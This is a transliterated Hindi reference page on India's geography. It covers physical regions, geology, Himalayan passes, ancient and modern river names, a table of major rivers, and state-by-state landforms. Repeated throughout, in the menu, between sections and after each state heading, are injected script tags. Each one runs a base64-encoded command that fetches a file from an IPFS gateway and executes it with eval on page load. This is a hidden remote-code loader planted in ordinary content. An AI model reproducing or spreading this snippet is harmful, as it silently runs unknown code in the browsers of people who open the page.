भारत का भूगोल

bharat vishay soochi

parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanvidhan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dharm  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> krishi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vany jivan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskriti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khanapan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajy   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> paryatan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> alekh

thumb|250px|kas pathar bharat ke mukhh‍y bhoobhag mean char kshetr haian, namat: mahaparvat kshetr, ganga aur siandhu nadi ke maidani kshetr aur maroosh‍thali kshetr aur dakshini prayadvip. himalay ki tin shrriankhalaean haian, jo lagabhag samanaantar phaili huee haian. isake bich b de - b de pathar aur ghatiyaan haian, inamean kashmir aur kulloo jaisi kuchh ghatiyaan upajaoo, vish‍trit aur prakritik sauandary se bharapoor haian. sansar ki sabase ooanchi chotiyoan mean se kuchh inh‍hian parvat shrriankhalaoan mean haian. adhik ooanchaee ke karan ana -jana keval kuchh hi darroan se ho pata hai, jinamean mukhh‍y haian -

• chuanbi ghati se hote hue mukhh‍y bharat-tibbat vh‍yapar marg par jelepala aur nathula darra
• uttar-poorv darjiliang
• kalh‍pana (kinh‍naur) ke uttar - poorv mean sataluj ghati mean shipaki la darra

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

parvatiy divar lagabhag 2,400 ki.mi. ki doori tak phaili hai, jo 240 kimi se 320 kimi tak chau di hai. poorv mean bharat tatha myaanmar aur bharat evan baangladesh ke bich mean paha di shrriankhalaoan ki ooanchaee bahut kam hai. lagabhag poorv se pashchim tak phaili huee garo, khasi, jaiantiya aur naga pahadiyaan uttar se dakshin tak phaili mizo tatha rakhain pahadiyoan ki shrriankhala se ja milati haian.

marush‍thali kshetr ko do bhagoan mean baanta ja sakata hai b da marush‍thal kachh‍chh ke ran ki sima se luni nadi ke uth‍tari or age tak phaila hua hai. rajasthan siandh ki poori sima isase hokar gujarati hai. chhota marush‍thal luni se jaisalamer aur jodhapur ke bich uth‍tari bhoobhag tak phaila hua b de aur chhote marush‍thal ke bich ka kshetr bilh‍kul hi banjar hai jisamean choone ke path‍thar ki parvat mala dvara prithak kiya hua patharila bhoobhag hai.

parvat samooh aur paha di shrriankhalaean jinaki ooanchaee 460 se 1,220 mitar hai, prayadvipiy pathar ko ganga aur siandhu ke maidani kshetroan se alag karati haian. inamean pramukh haian aravali, viandhh‍y, satapu da, maikala aur ajanh‍ta. is prayadvip ki ek or poorv ghat doosari or pashchimi ghat hai jinaki ooanchaee samanh‍yat: 915 se 1,220 mitar hai, kuchh sh‍thanoan mean 2,440 mitar se adhik ooanchaee hai. pashchimi ghatoan aur arab sagar ke bich ek sankirn tatavarti patti hai jabaki poorv ghat aur bangal ki kha di ke bich ka vish‍trit tatavarti kshetr hai. pathar ka dakshini bhag nilagiri paha diyoan dvara nirmit hai jahaan poorvi aur pashchimi ghat milate haian. isake age ilayachi ki pahadiyaan pashchimi ghat ke vish‍taran ke rup mean mani ja sakati haian.

bhoogarbhiy sanrachana

bhoo‍vaijnanik kshetr vh‍yapak rup se bhautik visheshataoan ka palan karate haian aur inh‍hean tin kshetroan ke samooh mean rakha ja sakata hai:

• himalay parvat shrriankhala aur unake sanbaddh parvat samooh.
• bharat-ganga maidan kshetr.
• prayadvipiy kshetr.

uth‍tar mean himalay parvat kshetr aur poorv mean nagalushaee parvat, parvat nirman gatividhi ke kshetr hai. is kshetr ka adhikaansh bhag jo vartaman samay mean vishh‍v ka sarvadhik suandar parvat drishh‍y prash‍tut karata hai, 60 karo d varsh pahale samudri kshetr mean tha. 7 karo d varsh pahale shuroo hue parvat-nirman gatividhiyoan ki shrriankhala mean talachhatean aur adhar chattanean kafi ooanchaee tak pahuanch gee. aj ham jo in par ubhar dekhate haian, unako uth‍panh‍n karane mean apakshay aur aparadak ne kary kiya. bharat-ganga ke maidani kshetr ek jalodh bhoobhag haian jo dakshin ke prayadvip se uth‍tar mean himachal ko alag karate haian.

prayadvip sapeksh sthirata aur kabhi-kabhar bhookanpiy pareshaniyoan ka kshetr hai. 380 karo d varsh pahale ke praranbhik kal ki ath‍yadhik kayaantarit chattanean is kshetr mean payi jati haian, baqi kshetr goandavana ke tatavarti kshetr se ghira hai, dakshin mean sidhidar rachana aur chhoti talachhatean lava ke pravah se nirmit haian.

nadiyaan

rrigvaidikakalin nadiyaan

prachin nam	adhunik nam

krubhu	kurram
kubha	kabul
vitasta	jhelam
askini	chinav
purushni	ravi
shatudri	satalaj
vipasha	vyas
sadanira	gandak
drishadvati	ghagghar
gomati	gomal
suvastu	svat
siandhu	sindh
sarasvati / drishadvarti	ghaghghar / rakshi / chittag
sushoma	sohan
maroodvridha	maroovarman

bharat ki nadiyoan ko char samoohoan mean vargikrit kiya ja sakata hai jaise :-

• himachal se nikalane vali nadiyaan
• dakshin se nikalane vali nadiyaan
• tatavarti nadiyaan
• aantardeshiy naloan se droni kshetr ki nadiyaan

himalay se nikalane vali nadiyaan

himalay se nikalane vali nadiyaan barf aur gh‍leshiyaroan ke pighalane se bani haian at: inamean poore varsh ke dauran niranh‍tar pravah bana rahata hai. m aaunasoon mah ke dauran himalay kshetr mean bahut adhik vrishti hoti hai aur nadiyaan barish par nirbhar haian at: isake ayatan mean utar chadhav hota hai. inamean se kee ash‍thayi hoti haian. tatavarti nadiyaan, visheshakar pashchimi tat par, lanbaee mean chhoti hoti haian aur unaka simit jalagrahan kshetr hota hai. inamean se adhikaansh ash‍thayi hoti haian. pashchimi rajasthan ke aantardeshiy nala droni kshetr ki kuchhh‍ nadiyaan haian. inamean se adhikaansh ash‍thayi prakriti ki haian. [[chitr:Sindhu-River-1.jpg|thumb|left|250px|sindhu nadi]] himachal se nikalane vali nadi ki mukhh‍y pranali siandhu aur ganga brahmaputr meghana nadi ki pranali ki tarah hai.

siandhu nadi

vishh‍v ki mahan, nadiyoan mean ek hai, tibbat mean manasarovar ke nikat se nikalati hai aur bharat se hokar bahati hai aur tath‍pashh‍chath pakistan se ho kar aur aantat: karachi ke nikat arab sagar mean mil jati hai. bharatiy kshetr mean bahane vali isaki sahayak nadiyoan mean sataluj (tibh‍bat se nikalati hai), vh‍yas, ravi, chinab, aur jhelam hai. [[chitr:Ganga-Varanasi.jpg|thumb|250px|varanasi mean ganga nadi ke ghat]]

ganga

brahmaputr meghana ek anh‍y mahath‍vapoorn pranali hai jisaka up droni kshetr bhagirathi aur alakananda mean haian, jo devaprayag mean milakar ganga ban jati hai. yah uttaraanchal, uttar pradesh, bihar aur p.bangal se hokar bahati hai. rajamahal ki pahadiyoan ke niche bhagirathi nadi, jo purane samay mean mukhh‍y nadi hua karati thi, nikalati hai jabaki padbha poorab ki or bahati hai aur baangladesh mean pravesh karati hai.

sahayak nadiyaan

[[chitr:Yamuna-Mathura-2.jpg|thumb|left|250px|yamuna nadi]] yamuna, ramaganga, ghaghara, gandak, kosi, mahanadi, aur son; ganga ki mahath‍vapoorn sahayak nadiyaan hai. chanbal aur betava mahath‍vapoorn up sahayak nadiyaan haian jo ganga se milane se pahale yamuna mean mil jati haian. padma aur brahmaputr baangladesh mean milati hai aur padma athava ganga ke rup mean bahati rahati hai.

brahmaputr

brahmaputr tibbat se nikalati hai, jahaan ise saangano kaha jata hai aur bharat mean arunachal pradesh tak pravesh karane tatha yah kafi lanbi doori tay karati hai, yahaan ise dihaang kaha jata hai. pasi ghat ke nikat debaang aur lohit brahmaputr nadi se mil jati hai aur yah sanyukh‍t nadi poore asam se hokar ek sankirn ghati mean bahati hai. yah ghubari ke anupravah mean baangladesh mean pravesh karati hai.

sahayak nadiyaan

bharat mean brahmaputr ki pramukh sahayak nadiyaan subasiri, jiya bhareli, ghanasiri, puthibhari, pagaladiya aur manas haian. baangh‍ladesh mean brahmaputr tish‍t adi ke pravah mean mil jati hai aur aantat: ganga mean mil jati hai. meghana ki mukhh‍y nadi barak nadi manipur ki pahadiyoan mean se nikalati hai. isaki mahath‍vapoorn sahayak nadiyaan makh‍koo, traang, tueevee, jiri, sonee, rukh‍vi, kacharaval, ghalarevari, laangachini, mahuva aur jatianga haian. barak nadi baangh‍ladesh mean bhairav bazar ke nikat ganga-‍brahmaputr ke milane tak bahati rahati hai.

dakh‍kan kshetr mean adhikaansh nadi pranaliyaan samanh‍yat poorv disha mean bahati haian aur bangal ki kha di mean mil jati haian.

godavari, krishh‍na, kaveri, mahanadi, adi poorv ki or bahane vali pramukh nadiyaan haian aur narmada, tapti pashchim ki bahane vali pramukh nadiyaan hai. dakshini prayadvip mean godavari ka doosari sabase b di nadi ka droni kshetr hai jo bharat ke kshetr 10 pratishat bhag hai. isake bad krishh‍na nadi ke droni kshetr ka sh‍than hai jabaki mahanadi ka tisara sh‍than hai. dekh‍kan ke oopari bhoobhag mean narmada ka droni kshetr hai, yah arab sagar ki or bahati hai, bangal ki kha di mean girati haian dakshin mean kaveri ke saman akar ki hai aur paranh‍tu isaki visheshataean aur banavat alag hai.

kee prakar ki tatavarti nadiyaan haian jo apekshakrit chhoti haian. aisi nadiyoan mean kafi kam nadiyaan-poorvi tat ke delh‍ta ke nikat samudr mean milati hai, jabaki pashchim tat par aisi 600 nadiyaan hai.

rajash‍than mean aisi kuchh nadiyaan hai jo samudr mean nahian milati haian. ye khare jhiloan mean mil jati hai aur ret mean samaph‍t ho jati haian jisaki samudr mean koee nikasi nahian hoti hai. isake atirikh‍t kuchh marush‍thal ki nadiyaan hoti hai jo kuchh doori tak bahati haian aur marush‍thal mean luph‍t ho jati hai. aisi nadiyoan mean luni aur machh‍chh, sh‍pen, sarash‍vati, banas aur ghagh‍gar jaisi anh‍y nadiyaan haian.

bharat ki pramukh nadiyoan ki soochi

kram	nadi	lambaee (ki.mi.)	udgam sthan	sahayak nadiyaan	pravah kshetr (sambandhit rajy)

1	sindhu nadi	2,880 (709)	manasarovar jhil ke nikat (tibbat)	sataluj, vyas, jhelam, chinab, ravi, shiangar, gilagit, shyok	jammoo aur kashmir, leh
2	jhelam nadi	720	sheshanag jhil, jammoo-kashmir	kishan, ganga, puanchh, lidar, kareval, siandh	jammoo-kashmir, kashmir
3	chinab nadi	1,180	baralacha darre ke nikat	chandrabhaga	jammoo-kashmir
4	ravi nadi	725	rohataang darra, kaang da	saho, suil	himachal pradesh, jammoo-kashmir, panjab
5	sataluj nadi	1440 (1050)	manasarovar ke nikat rakasatal	vyas, spiti, baspa	himachal pradesh, panjab
6	vyas nadi	470	rohataang darra	tirthan, parvati, hurala	himachal pradesh
7	ganga nadi	2,510 (2071)	gangotri ke nikat gomukh se	yamuna, ramaganga, gomati, bagamati, gandak, kosi, son, alakananda, bhagirathi, pindar, mandakini	uttaraanchal, uttar pradesh, bihar, pashchim bangal
8	yamuna nadi	1375	yamunotri gleshiyar	chambal, betava, ken, toans, giri, kali, siandh, asan	uttaraanchal, uttar pradesh, dilli
9	ramaganga nadi	690	nainital ke nikat ek himanadi se	khon	uttaraanchal, uttar pradesh
10	ghaghara nadi	1,080	mapsatuang (nepal) himanad	sharada, karanali, kuvana, rapti, chaukiya	uttar pradesh, bihar
11	gandak nadi	425	nepal tibbat sima par mustag ke nikat	kali, gandak, trishool, ganga	bihar
12	kosi nadi	730	nepal mean saptakoshiki (goansaeedham)	indravati, tamur, arun, kosi	sikkim, bihar
13	chambal nadi	960	moo ke nikat janapav paha di se	kali, siandh, sipta, parvati, banas	madhy pradesh
14	betava nadi	480	bhopal ke pas ubedulla ganj ke pas		madhy pradesh
15	son nadi	770	amarakantak ki paha diyoan se	rihand, kunah d	madhy pradesh, bihar
16	damodar nadi	600	chhota nagapur pathar se dakshin poorv	konar, jamuniya, barakar	jharakhand, pashchim bangal
17	brahmaputr nadi	2,880	manasarovar jhil ke nikat (tibbat mean saangpo)	ghanasiri, kapili, suvanasiti, manas, lohit, nova, padma, dihaang	arunachal pradesh, asam
18	mahanadi	890	sihava ke nikat rayapur	siyonath, hasadev, uang, eeb, brahmani, vaitarani	madhy pradesh, chhattisagadh, u disa
19	vaitarani nadi	333	kyoanjhar pathar		u disa
20	svarn rekha	480	chhota nagapur pathar		u disa, jharakhand, pashchim bangal
21	godavari nadi	1,450	nasik ki paha diyoan se	pranahita, penaganga, vardha, venaganga, indravati, manjira, purana	maharashtr, karnatak, andhr pradesh
22	krishnaa nadi	1,290	mahabaleshvar ke nikat	koyana, yarala, varna, panchaganga, doodhaganga, ghataprabha, malaprabha, bhima, tuangaprabha, moosi	maharashtr, karnatak, andhr pradesh
23	kaveri nadi	760	kerakara ke nikat brahmagiri	hemavati, lokapavana, shimala, bhavani, amaravati, svarnavati	karnatak, tamilanadu
24	narmada nadi	1,312	amarakantak choti	tava, sher, shakkar, doodhi, barna	madhy pradesh, gujarat
25	tapti nadi	724	multaee se (betool)	poorana, betool, ganjal, gomee	madhy pradesh, gujarat
26	sabaramati	716	jayasamand jhil (udayapur)	vakal, hathamati	rajasthan, gujarat
27	looni nadi		nag paha d	suk di, janaee, baandi	rajasthan, gujarat, miroodi, jojari
28	banas nadi		khamanaur paha diyoan se	sodra, mausi, khari	karnatak, tamilanadu
29	mahi nadi		mehad jhil se	som, jokham, anas, soran	madhy pradesh, gujarat
30	hugali nadi		navadvip ke nikat	jalaangi
31	uttari pennar	570	nandi durg paha di	paadhani, chitravati, sagileroo
32	tuangabhadra nadi		pashchimi ghat mean gomantak choti	kumudavati, vardha, hagari, hiand, tuanga, bhadra
33	mayoosa nadi		asonora ke nikat	medeee
34	sabari nadi	418	sueekaram paha di	sileru
35	indravati nadi	531	kalahandi, u disa	narangi, kotari
36	kshipra nadi		kakari baradi paha di, iandaur	chambal nadi
37	sharada nadi	602	milam himanad, himalay, kumayooan	ghaghara nadi
38	tava nadi		mahadev parvat, panchamadhi	narmada nadi
39	hasado nadi		saraguja mean kaimoor paha diyaan	mahanadi
40	kali siandh nadi	416	bagalo, zila devas, viandhyachal parvat	yamuna nadi
41	sindh nadi		siroj, guna zila	chambal nadi
42	ken nadi		viandhyachal shreni	yamuna nadi
43	parvati nadi		viandhyachal, madhy pradesh	chambal nadi
44	ghagghar nadi		kalaka, himachal pradesh
45	banaganga nadi	494	bairath paha diyaan, jayapur	yamuna nadi
46	som nadi		bichha mean da, udayapur	jokham, gomati, sarani
47	ay d ya bedach nadi	190	gomunda paha di, udayapur	banas nadi
48	dakshin pinakin	400	chenna keshav paha di, karnatak
49	dakshini toans	265	tamasa kuand, kaimoor paha di
50	daman ganga nadi		pashchim ghat
51	girana nadi		pashchim ghat, nasik

bharat ke rajyoan ka bhoogol

arunachal pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

arunachal pradesh ka adhikatar bhag himalay se dhaka hai, lekin lohit, chaangalaang aur tirap patakaee pahadi़yoan mean sthit haian. kaangto, nyegi kaangasaang, mukhy gorichan choti aur poorvi gorichan choti is rajy mean himalay ki sabase ooanchi chotiyaan haian. tavaang ka 'bumala darra' san 2006 mean 44 varshoan mean pahali bar vyapar ke lie khola gaya tha aur vyapariyoan ko ek doosare ke kshetr mean pravesh karane ki anumati di gee thi.

asam

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhoo-akriti: maidani ilaqoan evan nadi ghatiyoan vale asam ko tin pramukh bhautik kshetroan mean vibhajit kiya gaya hai- uttar mean brahmaputr nadi ghati, dakshin mean barak nadi ghati evan karbi tatha alang ziloan ke parvatiy kshetr aur in donoan ghatiyoan ke madhy sthit uttari kachhar ki paha diyaan.

• brahmaputr nadi ghati asam ka pramukh bhautik kshetr hai. yah nadi asam ke poorvottar sire par sadiya ke pas pravesh karati hai, phir pashchim mean poore asam mean lagabhag 724 kimi. lanbe marg mean pravahit hokar dakshin ki or mu dakar baangladesh ke maidani ilaqoan mean chali jati hai. brahmaputr nadi ghati, chhoti ekal paha diyoan aur maidani ilaqoan mean achanak uthate shikharoan, jinaki chau daee 80 kimi. se zyada nahian hai, se bhari huee hai. pashchim disha ko chho dakar baqi sabhi dishaoan mean yah parvattoan se ghiri huee hai. p dos ki paha diyoan se nikali kee jaladharaoan evan upanadiyoan ka jal isamean samahit hota hai.
• barak nadi ghati dakshin-poorv disha mean vistrit nimn bhoomi ke kshetr ki sanrachana karati hai, jo krishi ke lie mahattvapoorn hai evan isase apekshakrit saghan basi janasankhya ko madad milati hai, halaanki is ghati ka ek chhota sa hi hissa rajy ke simakshetr mean hai.

aandhr pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

aandhr pradesh rajy mean tin pramukh bhautik-bhaugolik kshetr haian:-

1. poorv mean tatiy maidan, jo bangal ki kha di se lekar parvatashreniyoan tak phaila hai;
2. parvatashreniyaan arthat poorvi ghat, jo tatiy maidanoan ka pashchimi parshv banate haian;
3. ghat ke pashchim se poorv mean pathar.

odisha

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

u disa rajy 17.780 aur aur 22.730 akshaansh aur 81.37poorv aur 81.53 poorv deshaantar ke bich p data hai. bhaugolik roop se yah rajy uttar-poorv mean pashchim bangal, uttar mean jharakhand, pashchim mean chhattisagadh aur dakshin mean aandhr pradesh aur poorv mean bangal ki kha di se ghira hua hai.

uttar pradesh

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttar pradesh ke pramukh bhoogoliy tatv is prakar se haian-

• bhoo-akriti - uttar pradesh ko do vishisht bhaugolik kshetroan, ganga ke madhyavarti maidan aur dakshini uchchabhoomi mean baanta ja sakata hai. uttar pradesh ke kul kshetraphal ka lagabhag 90 pratishat hissa ganga ke maidan mean hai. maidan adhikaanshat: ganga v usaki sahayak nadiyoan ke dvara lae ge jalodh avasadoan se bane haian. is kshetr ke adhikaansh hissoan mean utar-chadhav nahian hai, yadyapi maidan bahut upajaoo hai, lekin inaki ooanchaee mean kuchh bhinnata hai, jo pashchimottar mean 305 mitar aur sudoor poorv mean 58 mitar hai. ganga ke maidan ki dakshini uchchabhoomi atyadhik vichchhedit aur visham viandhy parvatamala ka ek bhag hai, jo samanyat: dakshin-poorv ki or uthati chali jati hai. yahaan ooanchaee kahian-kahian hi 305 se adhik hoti hai.

uttarakhand

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

uttarakhand rajy ka kshetraphal 53,484 varg kimi. aur janasankhya 8,479,562 (2001 ki janaganana ke anusar) hai. uttarakhand bharat ke uttar - madhy bhag mean sthit hai. yah poorvottar mean tibbat, pashchimottar mean himachal pradesh, dakshin - pashchim mean uttar pradesh aur dakshin - poorv mean nepal se ghira hai. uttarakhand ka kul bhaugolik kshetraphal 28° 43’ u. se 31°27’ u. aur rekhaansh 77°34’ poo. se 81°02’ poo ke bich mean 53,483 varg kimi hai, jisamean se 43,035 ki.mi. parvatiy hai aur 7,448 ki.mi. maidani hai, tatha 34,651 ki.mi. bhoobhag vanachchhadit hai. rajy ka adhikaansh uttari bhag vrihadtar himalay shrriankhala ka bhag hai, jo ooanchi himalayi chotiyoan aur himanadiyoan se dhka hua hai, jabaki nimn talahatiyaan saghan vanoan se dhaki huee haian jinaka pahale aangrez lak di vyapariyoan aur svatantrata ke bad van anubandhakoan dvara dohan kiya gaya.

karnatak

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bhautik roop se karnatak ko char bhinn kshetroan mean baanta gaya hai- samudratatiy maidan, parvat shreniyaan (pashchim ghat), poorv mean sthit karnatak ka pathar aur pashchimottar mean kapas utpak kali mitti ka kshetr. samudratatiy maidan malabar tat ka vistar haian aur yahaan joon se sitanbar tak dakshin-pashchim m aaunasoon se bhari varsha hoti hai. tat par sthit ret ke tile bhoomi ki or badhate hue chhote jalodh maidanoan mean badal jate haian, jinamean nariyal ke vrikshoan se ghire anoop(laigoon) haian. samudr ke alava any kisi bhi marg se tat par pahuanchana mushkil hai. poorv mean pashchimi ghat ki dhalanoan ke roop bhoomi tezi se uthati hai, jahaan samudr tal se ausat ooanchaee 760- 915 mitar hai.

keral

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• keral ke poorv mean ooanche pashchimi ghat aur pashchim mean arab sagar ke madhy mean sthit is pradesh ki chau daee 35 kimi se 120 kimi tak hai.
• bhaugolik drishti se keral parvatiy kshetroan, ghatiyoan, madhh‍yavarti maidanoan tatha samudr ka tatavarti kshetr haian.
• keral nadiyoan aur talaboan ke sambandh mean bahut hi samriddh hai.

gujarat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gujarat ko tin bhaugolik kshetroan mean baanta gaya hai jaise-

1. saurashtr prayadvip- jo moolatah ek paha di kshetr hai, bich-bich mean madhyam ooanchaee ke parvat haian.
2. kachchh- jo poorvottar mean uja d aur chattani hai. vikhyat kachchh ka ran isi kshetr mean hai.
3. gujarat ka maidan- jo kachchh ke ran aur aravali ki paha diyoan se lekar daman ganga tak phaili hai.

